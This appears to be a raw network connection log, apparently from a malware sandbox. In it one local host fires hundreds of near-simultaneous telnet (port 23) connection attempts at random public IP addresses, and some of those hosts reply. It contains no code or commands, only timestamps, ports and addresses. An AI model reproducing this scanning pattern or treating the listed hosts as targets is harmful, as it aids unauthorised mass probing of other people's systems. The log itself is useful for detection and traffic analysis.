Oct 14, 2024 17:34:10.914685965 CEST	48902	59666	192.168.2.14	104.248.138.112
Oct 14, 2024 17:34:10.922163963 CEST	59666	48902	104.248.138.112	192.168.2.14
Oct 14, 2024 17:34:11.826035976 CEST	29508	23	192.168.2.14	96.141.157.172
Oct 14, 2024 17:34:11.826035976 CEST	29508	23	192.168.2.14	90.150.101.124
Oct 14, 2024 17:34:11.826037884 CEST	29508	23	192.168.2.14	40.54.233.60
Oct 14, 2024 17:34:11.826035976 CEST	29508	23	192.168.2.14	192.223.226.90
Oct 14, 2024 17:34:11.826035976 CEST	29508	23	192.168.2.14	2.136.52.213
Oct 14, 2024 17:34:11.826037884 CEST	29508	23	192.168.2.14	116.169.52.159
Oct 14, 2024 17:34:11.826035976 CEST	29508	23	192.168.2.14	13.245.248.179
Oct 14, 2024 17:34:11.826037884 CEST	29508	23	192.168.2.14	119.49.254.174
Oct 14, 2024 17:34:11.826035976 CEST	29508	23	192.168.2.14	111.225.40.119
Oct 14, 2024 17:34:11.826045036 CEST	29508	23	192.168.2.14	158.240.179.97
Oct 14, 2024 17:34:11.826045036 CEST	29508	23	192.168.2.14	187.54.189.106
Oct 14, 2024 17:34:11.826056004 CEST	29508	23	192.168.2.14	34.236.238.3
Oct 14, 2024 17:34:11.826056004 CEST	29508	23	192.168.2.14	82.211.93.12
Oct 14, 2024 17:34:11.826056004 CEST	29508	23	192.168.2.14	53.188.232.175
Oct 14, 2024 17:34:11.826056004 CEST	29508	23	192.168.2.14	48.197.150.46
Oct 14, 2024 17:34:11.826056004 CEST	29508	23	192.168.2.14	135.188.76.8
Oct 14, 2024 17:34:11.826057911 CEST	29508	23	192.168.2.14	46.186.246.238
Oct 14, 2024 17:34:11.826057911 CEST	29508	23	192.168.2.14	186.71.52.34
Oct 14, 2024 17:34:11.826057911 CEST	29508	23	192.168.2.14	199.206.227.221
Oct 14, 2024 17:34:11.826057911 CEST	29508	23	192.168.2.14	131.13.42.63
Oct 14, 2024 17:34:11.826059103 CEST	29508	23	192.168.2.14	1.111.186.130
Oct 14, 2024 17:34:11.826057911 CEST	29508	23	192.168.2.14	154.186.173.32
Oct 14, 2024 17:34:11.826059103 CEST	29508	23	192.168.2.14	177.164.203.162
Oct 14, 2024 17:34:11.826059103 CEST	29508	23	192.168.2.14	185.163.95.17
Oct 14, 2024 17:34:11.826059103 CEST	29508	23	192.168.2.14	91.118.35.191
Oct 14, 2024 17:34:11.826059103 CEST	29508	23	192.168.2.14	175.173.103.91
Oct 14, 2024 17:34:11.826059103 CEST	29508	23	192.168.2.14	125.236.109.40
Oct 14, 2024 17:34:11.826059103 CEST	29508	23	192.168.2.14	95.207.221.54
Oct 14, 2024 17:34:11.826064110 CEST	29508	23	192.168.2.14	40.41.181.70
Oct 14, 2024 17:34:11.826064110 CEST	29508	23	192.168.2.14	166.17.162.191
Oct 14, 2024 17:34:11.826064110 CEST	29508	23	192.168.2.14	101.51.159.133
Oct 14, 2024 17:34:11.826064110 CEST	29508	23	192.168.2.14	45.203.221.119
Oct 14, 2024 17:34:11.826108932 CEST	29508	23	192.168.2.14	150.229.92.208
Oct 14, 2024 17:34:11.826108932 CEST	29508	23	192.168.2.14	154.104.44.80
Oct 14, 2024 17:34:11.826109886 CEST	29508	23	192.168.2.14	20.33.2.88
Oct 14, 2024 17:34:11.826141119 CEST	29508	23	192.168.2.14	38.161.11.98
Oct 14, 2024 17:34:11.826141119 CEST	29508	23	192.168.2.14	188.160.122.16
Oct 14, 2024 17:34:11.826141119 CEST	29508	23	192.168.2.14	165.212.96.202
Oct 14, 2024 17:34:11.826141119 CEST	29508	23	192.168.2.14	169.108.32.176
Oct 14, 2024 17:34:11.826141119 CEST	29508	23	192.168.2.14	50.29.251.8
Oct 14, 2024 17:34:11.826141119 CEST	29508	23	192.168.2.14	205.246.16.163
Oct 14, 2024 17:34:11.826256037 CEST	29508	23	192.168.2.14	209.229.104.66
Oct 14, 2024 17:34:11.826256037 CEST	29508	23	192.168.2.14	101.216.24.17
Oct 14, 2024 17:34:11.826404095 CEST	29508	23	192.168.2.14	132.206.209.237
Oct 14, 2024 17:34:11.826404095 CEST	29508	23	192.168.2.14	126.212.236.162
Oct 14, 2024 17:34:11.826404095 CEST	29508	23	192.168.2.14	12.107.122.170
Oct 14, 2024 17:34:11.826404095 CEST	29508	23	192.168.2.14	54.91.104.111
Oct 14, 2024 17:34:11.826404095 CEST	29508	23	192.168.2.14	189.21.136.167
Oct 14, 2024 17:34:11.826404095 CEST	29508	23	192.168.2.14	217.197.76.155
Oct 14, 2024 17:34:11.826404095 CEST	29508	23	192.168.2.14	24.141.96.8
Oct 14, 2024 17:34:11.826404095 CEST	29508	23	192.168.2.14	144.146.200.66
Oct 14, 2024 17:34:11.826407909 CEST	29508	23	192.168.2.14	119.119.97.50
Oct 14, 2024 17:34:11.826407909 CEST	29508	23	192.168.2.14	153.94.109.106
Oct 14, 2024 17:34:11.826407909 CEST	29508	23	192.168.2.14	197.157.241.42
Oct 14, 2024 17:34:11.826407909 CEST	29508	23	192.168.2.14	186.246.25.245
Oct 14, 2024 17:34:11.826409101 CEST	29508	23	192.168.2.14	82.207.212.168
Oct 14, 2024 17:34:11.826407909 CEST	29508	23	192.168.2.14	163.9.247.70
Oct 14, 2024 17:34:11.826409101 CEST	29508	23	192.168.2.14	204.178.237.231
Oct 14, 2024 17:34:11.826407909 CEST	29508	23	192.168.2.14	24.83.101.109
Oct 14, 2024 17:34:11.826411009 CEST	29508	23	192.168.2.14	171.92.60.116
Oct 14, 2024 17:34:11.826407909 CEST	29508	23	192.168.2.14	133.195.14.229
Oct 14, 2024 17:34:11.826409101 CEST	29508	23	192.168.2.14	223.156.180.184
Oct 14, 2024 17:34:11.826415062 CEST	29508	23	192.168.2.14	60.3.35.52
Oct 14, 2024 17:34:11.826411009 CEST	29508	23	192.168.2.14	91.107.162.211
Oct 14, 2024 17:34:11.826409101 CEST	29508	23	192.168.2.14	124.217.142.56
Oct 14, 2024 17:34:11.826411009 CEST	29508	23	192.168.2.14	53.149.151.54
Oct 14, 2024 17:34:11.826415062 CEST	29508	23	192.168.2.14	128.153.159.121
Oct 14, 2024 17:34:11.826411009 CEST	29508	23	192.168.2.14	18.120.216.24
Oct 14, 2024 17:34:11.826410055 CEST	29508	23	192.168.2.14	158.246.231.252
Oct 14, 2024 17:34:11.826411009 CEST	29508	23	192.168.2.14	97.43.14.235
Oct 14, 2024 17:34:11.826409101 CEST	29508	23	192.168.2.14	111.98.2.106
Oct 14, 2024 17:34:11.826410055 CEST	29508	23	192.168.2.14	206.65.3.58
Oct 14, 2024 17:34:11.826411009 CEST	29508	23	192.168.2.14	99.231.69.130
Oct 14, 2024 17:34:11.826410055 CEST	29508	23	192.168.2.14	5.99.203.101
Oct 14, 2024 17:34:11.826407909 CEST	29508	23	192.168.2.14	67.78.221.156
Oct 14, 2024 17:34:11.826411009 CEST	29508	23	192.168.2.14	119.26.67.244
Oct 14, 2024 17:34:11.826412916 CEST	29508	23	192.168.2.14	24.124.210.11
Oct 14, 2024 17:34:11.826415062 CEST	29508	23	192.168.2.14	82.126.101.207
Oct 14, 2024 17:34:11.826409101 CEST	29508	23	192.168.2.14	167.203.46.158
Oct 14, 2024 17:34:11.826410055 CEST	29508	23	192.168.2.14	116.212.158.15
Oct 14, 2024 17:34:11.826411009 CEST	29508	23	192.168.2.14	164.59.235.93
Oct 14, 2024 17:34:11.826415062 CEST	29508	23	192.168.2.14	9.169.238.98
Oct 14, 2024 17:34:11.826410055 CEST	29508	23	192.168.2.14	136.126.231.148
Oct 14, 2024 17:34:11.826412916 CEST	29508	23	192.168.2.14	86.147.215.13
Oct 14, 2024 17:34:11.826415062 CEST	29508	23	192.168.2.14	8.142.215.18
Oct 14, 2024 17:34:11.826412916 CEST	29508	23	192.168.2.14	154.165.178.191
Oct 14, 2024 17:34:11.826415062 CEST	29508	23	192.168.2.14	1.232.235.112
Oct 14, 2024 17:34:11.826415062 CEST	29508	23	192.168.2.14	165.130.203.66
Oct 14, 2024 17:34:11.826410055 CEST	29508	23	192.168.2.14	167.190.226.232
Oct 14, 2024 17:34:11.826438904 CEST	29508	23	192.168.2.14	125.226.133.102
Oct 14, 2024 17:34:11.826415062 CEST	29508	23	192.168.2.14	181.64.196.71
Oct 14, 2024 17:34:11.826410055 CEST	29508	23	192.168.2.14	187.248.204.143
Oct 14, 2024 17:34:11.826438904 CEST	29508	23	192.168.2.14	9.132.82.9
Oct 14, 2024 17:34:11.826410055 CEST	29508	23	192.168.2.14	190.196.17.109
Oct 14, 2024 17:34:11.826438904 CEST	29508	23	192.168.2.14	185.62.138.105
Oct 14, 2024 17:34:11.826409101 CEST	29508	23	192.168.2.14	113.108.24.154
Oct 14, 2024 17:34:11.826412916 CEST	29508	23	192.168.2.14	121.63.209.15
Oct 14, 2024 17:34:11.826438904 CEST	29508	23	192.168.2.14	159.42.173.1
Oct 14, 2024 17:34:11.826415062 CEST	29508	23	192.168.2.14	199.33.39.57
Oct 14, 2024 17:34:11.826415062 CEST	29508	23	192.168.2.14	155.243.65.52
Oct 14, 2024 17:34:11.826415062 CEST	29508	23	192.168.2.14	154.14.67.111
Oct 14, 2024 17:34:11.826412916 CEST	29508	23	192.168.2.14	63.56.94.5
Oct 14, 2024 17:34:11.826415062 CEST	29508	23	192.168.2.14	31.61.162.48
Oct 14, 2024 17:34:11.826409101 CEST	29508	23	192.168.2.14	185.213.69.255
Oct 14, 2024 17:34:11.826415062 CEST	29508	23	192.168.2.14	162.238.121.249
Oct 14, 2024 17:34:11.826415062 CEST	29508	23	192.168.2.14	104.254.183.205
Oct 14, 2024 17:34:11.826415062 CEST	29508	23	192.168.2.14	198.104.175.144
Oct 14, 2024 17:34:11.826415062 CEST	29508	23	192.168.2.14	166.147.119.77
Oct 14, 2024 17:34:11.826412916 CEST	29508	23	192.168.2.14	40.104.139.127
Oct 14, 2024 17:34:11.826438904 CEST	29508	23	192.168.2.14	192.45.157.120
Oct 14, 2024 17:34:11.826412916 CEST	29508	23	192.168.2.14	139.14.163.220
Oct 14, 2024 17:34:11.826438904 CEST	29508	23	192.168.2.14	79.157.211.52
Oct 14, 2024 17:34:11.826456070 CEST	29508	23	192.168.2.14	121.49.153.62
Oct 14, 2024 17:34:11.826414108 CEST	29508	23	192.168.2.14	89.63.62.29
Oct 14, 2024 17:34:11.826456070 CEST	29508	23	192.168.2.14	41.65.72.144
Oct 14, 2024 17:34:11.826438904 CEST	29508	23	192.168.2.14	163.170.15.75
Oct 14, 2024 17:34:11.826464891 CEST	29508	23	192.168.2.14	168.176.24.102
Oct 14, 2024 17:34:11.826456070 CEST	29508	23	192.168.2.14	139.68.6.206
Oct 14, 2024 17:34:11.826438904 CEST	29508	23	192.168.2.14	208.104.135.5
Oct 14, 2024 17:34:11.826464891 CEST	29508	23	192.168.2.14	23.201.147.214
Oct 14, 2024 17:34:11.826456070 CEST	29508	23	192.168.2.14	137.253.29.165
Oct 14, 2024 17:34:11.826464891 CEST	29508	23	192.168.2.14	67.72.116.104
Oct 14, 2024 17:34:11.826456070 CEST	29508	23	192.168.2.14	54.36.160.188
Oct 14, 2024 17:34:11.826464891 CEST	29508	23	192.168.2.14	99.228.60.112
Oct 14, 2024 17:34:11.826456070 CEST	29508	23	192.168.2.14	36.165.51.91
Oct 14, 2024 17:34:11.826464891 CEST	29508	23	192.168.2.14	47.99.91.114
Oct 14, 2024 17:34:11.826456070 CEST	29508	23	192.168.2.14	79.159.147.200
Oct 14, 2024 17:34:11.826464891 CEST	29508	23	192.168.2.14	137.117.154.12
Oct 14, 2024 17:34:11.826456070 CEST	29508	23	192.168.2.14	124.81.41.89
Oct 14, 2024 17:34:11.826464891 CEST	29508	23	192.168.2.14	69.69.226.118
Oct 14, 2024 17:34:11.826464891 CEST	29508	23	192.168.2.14	82.213.41.231
Oct 14, 2024 17:34:11.826472998 CEST	29508	23	192.168.2.14	5.74.96.167
Oct 14, 2024 17:34:11.826472998 CEST	29508	23	192.168.2.14	50.202.188.205
Oct 14, 2024 17:34:11.826472998 CEST	29508	23	192.168.2.14	126.80.176.174
Oct 14, 2024 17:34:11.826474905 CEST	29508	23	192.168.2.14	176.145.36.94
Oct 14, 2024 17:34:11.826474905 CEST	29508	23	192.168.2.14	46.202.1.207
Oct 14, 2024 17:34:11.826474905 CEST	29508	23	192.168.2.14	82.174.185.209
Oct 14, 2024 17:34:11.826474905 CEST	29508	23	192.168.2.14	52.248.132.124
Oct 14, 2024 17:34:11.826474905 CEST	29508	23	192.168.2.14	133.49.74.174
Oct 14, 2024 17:34:11.826477051 CEST	29508	23	192.168.2.14	180.189.56.103
Oct 14, 2024 17:34:11.826474905 CEST	29508	23	192.168.2.14	149.22.66.76
Oct 14, 2024 17:34:11.826477051 CEST	29508	23	192.168.2.14	218.21.110.254
Oct 14, 2024 17:34:11.826474905 CEST	29508	23	192.168.2.14	42.58.98.189
Oct 14, 2024 17:34:11.826478004 CEST	29508	23	192.168.2.14	39.250.212.130
Oct 14, 2024 17:34:11.826478958 CEST	29508	23	192.168.2.14	180.210.45.230
Oct 14, 2024 17:34:11.826474905 CEST	29508	23	192.168.2.14	95.134.150.120
Oct 14, 2024 17:34:11.826478004 CEST	29508	23	192.168.2.14	116.169.51.82
Oct 14, 2024 17:34:11.826478958 CEST	29508	23	192.168.2.14	102.45.255.231
Oct 14, 2024 17:34:11.826478004 CEST	29508	23	192.168.2.14	45.54.221.178
Oct 14, 2024 17:34:11.826478958 CEST	29508	23	192.168.2.14	67.224.243.48
Oct 14, 2024 17:34:11.826478004 CEST	29508	23	192.168.2.14	34.144.149.37
Oct 14, 2024 17:34:11.826478958 CEST	29508	23	192.168.2.14	194.61.100.195
Oct 14, 2024 17:34:11.826484919 CEST	29508	23	192.168.2.14	34.215.183.196
Oct 14, 2024 17:34:11.826477051 CEST	29508	23	192.168.2.14	154.252.204.194
Oct 14, 2024 17:34:11.826478004 CEST	29508	23	192.168.2.14	167.45.66.216
Oct 14, 2024 17:34:11.826477051 CEST	29508	23	192.168.2.14	14.54.243.237
Oct 14, 2024 17:34:11.826478004 CEST	29508	23	192.168.2.14	119.165.222.82
Oct 14, 2024 17:34:11.826484919 CEST	29508	23	192.168.2.14	202.206.9.3
Oct 14, 2024 17:34:11.826493025 CEST	29508	23	192.168.2.14	134.182.85.241
Oct 14, 2024 17:34:11.826478004 CEST	29508	23	192.168.2.14	189.33.165.215
Oct 14, 2024 17:34:11.826493025 CEST	29508	23	192.168.2.14	184.173.8.176
Oct 14, 2024 17:34:11.826478004 CEST	29508	23	192.168.2.14	63.217.13.66
Oct 14, 2024 17:34:11.826484919 CEST	29508	23	192.168.2.14	57.190.231.253
Oct 14, 2024 17:34:11.826493025 CEST	29508	23	192.168.2.14	49.87.74.180
Oct 14, 2024 17:34:11.826498985 CEST	29508	23	192.168.2.14	62.122.20.100
Oct 14, 2024 17:34:11.826500893 CEST	29508	23	192.168.2.14	108.94.130.100
Oct 14, 2024 17:34:11.826493025 CEST	29508	23	192.168.2.14	86.6.64.21
Oct 14, 2024 17:34:11.826498985 CEST	29508	23	192.168.2.14	49.40.192.156
Oct 14, 2024 17:34:11.826493025 CEST	29508	23	192.168.2.14	140.208.37.227
Oct 14, 2024 17:34:11.826503992 CEST	29508	23	192.168.2.14	75.121.59.145
Oct 14, 2024 17:34:11.826493025 CEST	29508	23	192.168.2.14	212.210.222.224
Oct 14, 2024 17:34:11.826478958 CEST	29508	23	192.168.2.14	132.142.235.218
Oct 14, 2024 17:34:11.826503992 CEST	29508	23	192.168.2.14	170.176.118.42
Oct 14, 2024 17:34:11.826500893 CEST	29508	23	192.168.2.14	108.81.60.25
Oct 14, 2024 17:34:11.826493025 CEST	29508	23	192.168.2.14	45.90.188.44
Oct 14, 2024 17:34:11.826477051 CEST	29508	23	192.168.2.14	116.38.12.122
Oct 14, 2024 17:34:11.826503992 CEST	29508	23	192.168.2.14	185.80.33.161
Oct 14, 2024 17:34:11.826493025 CEST	29508	23	192.168.2.14	178.136.69.16
Oct 14, 2024 17:34:11.826514006 CEST	29508	23	192.168.2.14	111.0.29.53
Oct 14, 2024 17:34:11.826477051 CEST	29508	23	192.168.2.14	100.235.74.146
Oct 14, 2024 17:34:11.826503992 CEST	29508	23	192.168.2.14	107.42.130.247
Oct 14, 2024 17:34:11.826477051 CEST	29508	23	192.168.2.14	180.219.232.79
Oct 14, 2024 17:34:11.826514006 CEST	29508	23	192.168.2.14	174.176.229.254
Oct 14, 2024 17:34:11.826477051 CEST	29508	23	192.168.2.14	118.79.134.98
Oct 14, 2024 17:34:11.826514006 CEST	29508	23	192.168.2.14	41.37.229.82
Oct 14, 2024 17:34:11.826478958 CEST	29508	23	192.168.2.14	31.30.179.147
Oct 14, 2024 17:34:11.826500893 CEST	29508	23	192.168.2.14	100.57.228.23
Oct 14, 2024 17:34:11.826503992 CEST	29508	23	192.168.2.14	187.170.123.243
Oct 14, 2024 17:34:11.826500893 CEST	29508	23	192.168.2.14	12.102.59.51
Oct 14, 2024 17:34:11.826503992 CEST	29508	23	192.168.2.14	208.128.106.172
Oct 14, 2024 17:34:11.826519966 CEST	29508	23	192.168.2.14	80.24.42.119
Oct 14, 2024 17:34:11.826478958 CEST	29508	23	192.168.2.14	176.151.250.214
Oct 14, 2024 17:34:11.826514006 CEST	29508	23	192.168.2.14	64.179.86.192
Oct 14, 2024 17:34:11.826478958 CEST	29508	23	192.168.2.14	152.240.164.15
Oct 14, 2024 17:34:11.826524019 CEST	29508	23	192.168.2.14	135.157.94.107
Oct 14, 2024 17:34:11.826514006 CEST	29508	23	192.168.2.14	87.0.190.111
Oct 14, 2024 17:34:11.826524019 CEST	29508	23	192.168.2.14	89.139.184.157
Oct 14, 2024 17:34:11.826514006 CEST	29508	23	192.168.2.14	125.234.21.198
Oct 14, 2024 17:34:11.826498985 CEST	29508	23	192.168.2.14	42.102.237.211
Oct 14, 2024 17:34:11.826500893 CEST	29508	23	192.168.2.14	66.138.65.83
Oct 14, 2024 17:34:11.826499939 CEST	29508	23	192.168.2.14	99.103.220.187
Oct 14, 2024 17:34:11.826514006 CEST	29508	23	192.168.2.14	88.9.183.233
Oct 14, 2024 17:34:11.826524019 CEST	29508	23	192.168.2.14	34.248.105.166
Oct 14, 2024 17:34:11.826530933 CEST	29508	23	192.168.2.14	46.232.42.198
Oct 14, 2024 17:34:11.826499939 CEST	29508	23	192.168.2.14	195.88.181.117
Oct 14, 2024 17:34:11.826530933 CEST	29508	23	192.168.2.14	189.124.102.38
Oct 14, 2024 17:34:11.826519966 CEST	29508	23	192.168.2.14	150.34.240.76
Oct 14, 2024 17:34:11.826500893 CEST	29508	23	192.168.2.14	203.92.251.139
Oct 14, 2024 17:34:11.826503992 CEST	29508	23	192.168.2.14	160.37.228.69
Oct 14, 2024 17:34:11.826519966 CEST	29508	23	192.168.2.14	24.141.76.13
Oct 14, 2024 17:34:11.826500893 CEST	29508	23	192.168.2.14	13.7.101.97
Oct 14, 2024 17:34:11.826530933 CEST	29508	23	192.168.2.14	8.98.130.129
Oct 14, 2024 17:34:11.826524019 CEST	29508	23	192.168.2.14	112.238.67.210
Oct 14, 2024 17:34:11.826503992 CEST	29508	23	192.168.2.14	66.173.185.212
Oct 14, 2024 17:34:11.826500893 CEST	29508	23	192.168.2.14	99.204.153.15
Oct 14, 2024 17:34:11.826514006 CEST	29508	23	192.168.2.14	185.49.186.217
Oct 14, 2024 17:34:11.826524019 CEST	29508	23	192.168.2.14	85.132.130.103
Oct 14, 2024 17:34:11.826530933 CEST	29508	23	192.168.2.14	188.28.136.30
Oct 14, 2024 17:34:11.826524019 CEST	29508	23	192.168.2.14	34.115.14.30
Oct 14, 2024 17:34:11.826531887 CEST	29508	23	192.168.2.14	143.134.252.196
Oct 14, 2024 17:34:11.826524019 CEST	29508	23	192.168.2.14	12.159.198.196
Oct 14, 2024 17:34:11.826531887 CEST	29508	23	192.168.2.14	103.252.59.171
Oct 14, 2024 17:34:11.826524019 CEST	29508	23	192.168.2.14	155.223.157.97
Oct 14, 2024 17:34:11.826531887 CEST	29508	23	192.168.2.14	53.25.32.169
Oct 14, 2024 17:34:11.826519966 CEST	29508	23	192.168.2.14	166.7.20.8
Oct 14, 2024 17:34:11.826549053 CEST	29508	23	192.168.2.14	132.246.179.75
Oct 14, 2024 17:34:11.826519966 CEST	29508	23	192.168.2.14	191.168.165.159
Oct 14, 2024 17:34:11.826549053 CEST	29508	23	192.168.2.14	168.41.70.122
Oct 14, 2024 17:34:11.826551914 CEST	29508	23	192.168.2.14	155.147.246.65
Oct 14, 2024 17:34:11.826549053 CEST	29508	23	192.168.2.14	116.156.177.39
Oct 14, 2024 17:34:11.826551914 CEST	29508	23	192.168.2.14	160.75.0.38
Oct 14, 2024 17:34:11.826549053 CEST	29508	23	192.168.2.14	166.221.52.204
Oct 14, 2024 17:34:11.826519966 CEST	29508	23	192.168.2.14	20.115.183.36
Oct 14, 2024 17:34:11.826531887 CEST	29508	23	192.168.2.14	130.190.190.29
Oct 14, 2024 17:34:11.826551914 CEST	29508	23	192.168.2.14	130.124.223.162
Oct 14, 2024 17:34:11.826549053 CEST	29508	23	192.168.2.14	156.193.15.141
Oct 14, 2024 17:34:11.826551914 CEST	29508	23	192.168.2.14	204.82.112.105
Oct 14, 2024 17:34:11.826499939 CEST	29508	23	192.168.2.14	39.107.52.164
Oct 14, 2024 17:34:11.826558113 CEST	29508	23	192.168.2.14	163.2.22.158
Oct 14, 2024 17:34:11.826551914 CEST	29508	23	192.168.2.14	207.162.180.74
Oct 14, 2024 17:34:11.826549053 CEST	29508	23	192.168.2.14	27.150.188.0
Oct 14, 2024 17:34:11.826551914 CEST	29508	23	192.168.2.14	75.138.191.25
Oct 14, 2024 17:34:11.826549053 CEST	29508	23	192.168.2.14	43.200.220.44
Oct 14, 2024 17:34:11.826558113 CEST	29508	23	192.168.2.14	216.139.246.100
Oct 14, 2024 17:34:11.826499939 CEST	29508	23	192.168.2.14	93.78.247.91
Oct 14, 2024 17:34:11.826558113 CEST	29508	23	192.168.2.14	220.48.242.41
Oct 14, 2024 17:34:11.826551914 CEST	29508	23	192.168.2.14	57.161.155.223
Oct 14, 2024 17:34:11.826499939 CEST	29508	23	192.168.2.14	141.26.124.26
Oct 14, 2024 17:34:11.826558113 CEST	29508	23	192.168.2.14	65.15.145.133
Oct 14, 2024 17:34:11.826551914 CEST	29508	23	192.168.2.14	206.59.28.79
Oct 14, 2024 17:34:11.826558113 CEST	29508	23	192.168.2.14	169.128.83.95
Oct 14, 2024 17:34:11.826551914 CEST	29508	23	192.168.2.14	178.144.232.2
Oct 14, 2024 17:34:11.826558113 CEST	29508	23	192.168.2.14	150.233.86.87
Oct 14, 2024 17:34:11.826551914 CEST	29508	23	192.168.2.14	63.133.8.30
Oct 14, 2024 17:34:11.826558113 CEST	29508	23	192.168.2.14	207.189.230.125
Oct 14, 2024 17:34:11.826551914 CEST	29508	23	192.168.2.14	210.210.197.142
Oct 14, 2024 17:34:11.826558113 CEST	29508	23	192.168.2.14	137.225.193.41
Oct 14, 2024 17:34:11.826551914 CEST	29508	23	192.168.2.14	135.159.117.213
Oct 14, 2024 17:34:11.826576948 CEST	29508	23	192.168.2.14	217.103.66.228
Oct 14, 2024 17:34:11.826576948 CEST	29508	23	192.168.2.14	114.192.196.251
Oct 14, 2024 17:34:11.826576948 CEST	29508	23	192.168.2.14	212.201.144.160
Oct 14, 2024 17:34:11.826576948 CEST	29508	23	192.168.2.14	78.192.58.218
Oct 14, 2024 17:34:11.826576948 CEST	29508	23	192.168.2.14	154.90.198.216
Oct 14, 2024 17:34:11.826576948 CEST	29508	23	192.168.2.14	63.82.114.180
Oct 14, 2024 17:34:11.826576948 CEST	29508	23	192.168.2.14	41.12.119.30
Oct 14, 2024 17:34:11.826576948 CEST	29508	23	192.168.2.14	121.42.124.68
Oct 14, 2024 17:34:11.826581955 CEST	29508	23	192.168.2.14	125.106.69.51
Oct 14, 2024 17:34:11.826581955 CEST	29508	23	192.168.2.14	168.90.69.233
Oct 14, 2024 17:34:11.826581955 CEST	29508	23	192.168.2.14	54.108.45.236
Oct 14, 2024 17:34:11.826581955 CEST	29508	23	192.168.2.14	101.188.203.193
Oct 14, 2024 17:34:11.826581955 CEST	29508	23	192.168.2.14	204.105.239.251
Oct 14, 2024 17:34:11.826581955 CEST	29508	23	192.168.2.14	187.119.203.214
Oct 14, 2024 17:34:11.826582909 CEST	29508	23	192.168.2.14	93.207.56.128
Oct 14, 2024 17:34:11.826582909 CEST	29508	23	192.168.2.14	179.73.91.0
Oct 14, 2024 17:34:11.826582909 CEST	29508	23	192.168.2.14	204.178.165.29
Oct 14, 2024 17:34:11.826585054 CEST	29508	23	192.168.2.14	35.167.187.32
Oct 14, 2024 17:34:11.826585054 CEST	29508	23	192.168.2.14	220.93.226.91
Oct 14, 2024 17:34:11.826585054 CEST	29508	23	192.168.2.14	105.197.233.233
Oct 14, 2024 17:34:11.826585054 CEST	29508	23	192.168.2.14	197.4.157.249
Oct 14, 2024 17:34:11.826585054 CEST	29508	23	192.168.2.14	8.185.49.92
Oct 14, 2024 17:34:11.826585054 CEST	29508	23	192.168.2.14	137.99.191.222
Oct 14, 2024 17:34:11.826585054 CEST	29508	23	192.168.2.14	92.112.229.60
Oct 14, 2024 17:34:11.826585054 CEST	29508	23	192.168.2.14	175.184.188.141
Oct 14, 2024 17:34:11.826585054 CEST	29508	23	192.168.2.14	40.216.232.78
Oct 14, 2024 17:34:11.826586008 CEST	29508	23	192.168.2.14	43.81.145.143
Oct 14, 2024 17:34:11.826586008 CEST	29508	23	192.168.2.14	47.184.184.106
Oct 14, 2024 17:34:11.826586008 CEST	29508	23	192.168.2.14	124.190.8.162
Oct 14, 2024 17:34:11.826590061 CEST	29508	23	192.168.2.14	185.219.83.152
Oct 14, 2024 17:34:11.826590061 CEST	29508	23	192.168.2.14	204.140.227.25
Oct 14, 2024 17:34:11.826590061 CEST	29508	23	192.168.2.14	93.234.160.25
Oct 14, 2024 17:34:11.826590061 CEST	29508	23	192.168.2.14	69.235.160.20
Oct 14, 2024 17:34:11.826590061 CEST	29508	23	192.168.2.14	9.220.209.13
Oct 14, 2024 17:34:11.826590061 CEST	29508	23	192.168.2.14	139.173.165.135
Oct 14, 2024 17:34:11.826590061 CEST	29508	23	192.168.2.14	129.29.85.143
Oct 14, 2024 17:34:11.827130079 CEST	47720	23	192.168.2.14	83.118.247.99
Oct 14, 2024 17:34:11.827953100 CEST	57566	23	192.168.2.14	197.188.249.99
Oct 14, 2024 17:34:11.828701019 CEST	40342	23	192.168.2.14	69.218.11.87
Oct 14, 2024 17:34:11.829858065 CEST	57702	23	192.168.2.14	201.74.212.81
Oct 14, 2024 17:34:11.831053972 CEST	34580	23	192.168.2.14	162.107.196.195
Oct 14, 2024 17:34:11.832037926 CEST	23	29508	40.54.233.60	192.168.2.14
Oct 14, 2024 17:34:11.832048893 CEST	23	29508	158.240.179.97	192.168.2.14
Oct 14, 2024 17:34:11.832058907 CEST	23	29508	187.54.189.106	192.168.2.14
Oct 14, 2024 17:34:11.832067966 CEST	23	29508	116.169.52.159	192.168.2.14
Oct 14, 2024 17:34:11.832086086 CEST	38838	23	192.168.2.14	217.216.81.214
Oct 14, 2024 17:34:11.832087040 CEST	23	29508	119.49.254.174	192.168.2.14
Oct 14, 2024 17:34:11.832097054 CEST	23	29508	46.186.246.238	192.168.2.14
Oct 14, 2024 17:34:11.832099915 CEST	29508	23	192.168.2.14	158.240.179.97
Oct 14, 2024 17:34:11.832106113 CEST	23	29508	186.71.52.34	192.168.2.14
Oct 14, 2024 17:34:11.832108021 CEST	29508	23	192.168.2.14	187.54.189.106
Oct 14, 2024 17:34:11.832110882 CEST	29508	23	192.168.2.14	40.54.233.60
Oct 14, 2024 17:34:11.832110882 CEST	29508	23	192.168.2.14	116.169.52.159
Oct 14, 2024 17:34:11.832110882 CEST	29508	23	192.168.2.14	119.49.254.174
Oct 14, 2024 17:34:11.832123041 CEST	23	29508	199.206.227.221	192.168.2.14
Oct 14, 2024 17:34:11.832127094 CEST	29508	23	192.168.2.14	46.186.246.238
Oct 14, 2024 17:34:11.832133055 CEST	23	29508	131.13.42.63	192.168.2.14
Oct 14, 2024 17:34:11.832143068 CEST	23	29508	154.186.173.32	192.168.2.14
Oct 14, 2024 17:34:11.832150936 CEST	29508	23	192.168.2.14	186.71.52.34
Oct 14, 2024 17:34:11.832150936 CEST	29508	23	192.168.2.14	199.206.227.221
Oct 14, 2024 17:34:11.832166910 CEST	23	29508	34.236.238.3	192.168.2.14
Oct 14, 2024 17:34:11.832176924 CEST	23	29508	96.141.157.172	192.168.2.14
Oct 14, 2024 17:34:11.832182884 CEST	29508	23	192.168.2.14	131.13.42.63
Oct 14, 2024 17:34:11.832182884 CEST	29508	23	192.168.2.14	154.186.173.32
Oct 14, 2024 17:34:11.832185984 CEST	23	29508	82.211.93.12	192.168.2.14
Oct 14, 2024 17:34:11.832211018 CEST	29508	23	192.168.2.14	34.236.238.3
Oct 14, 2024 17:34:11.832217932 CEST	23	29508	90.150.101.124	192.168.2.14
Oct 14, 2024 17:34:11.832220078 CEST	29508	23	192.168.2.14	82.211.93.12
Oct 14, 2024 17:34:11.832226038 CEST	29508	23	192.168.2.14	96.141.157.172
Oct 14, 2024 17:34:11.832228899 CEST	23	29508	1.111.186.130	192.168.2.14
Oct 14, 2024 17:34:11.832241058 CEST	23	29508	53.188.232.175	192.168.2.14
Oct 14, 2024 17:34:11.832251072 CEST	23	29508	192.223.226.90	192.168.2.14
Oct 14, 2024 17:34:11.832259893 CEST	23	29508	177.164.203.162	192.168.2.14
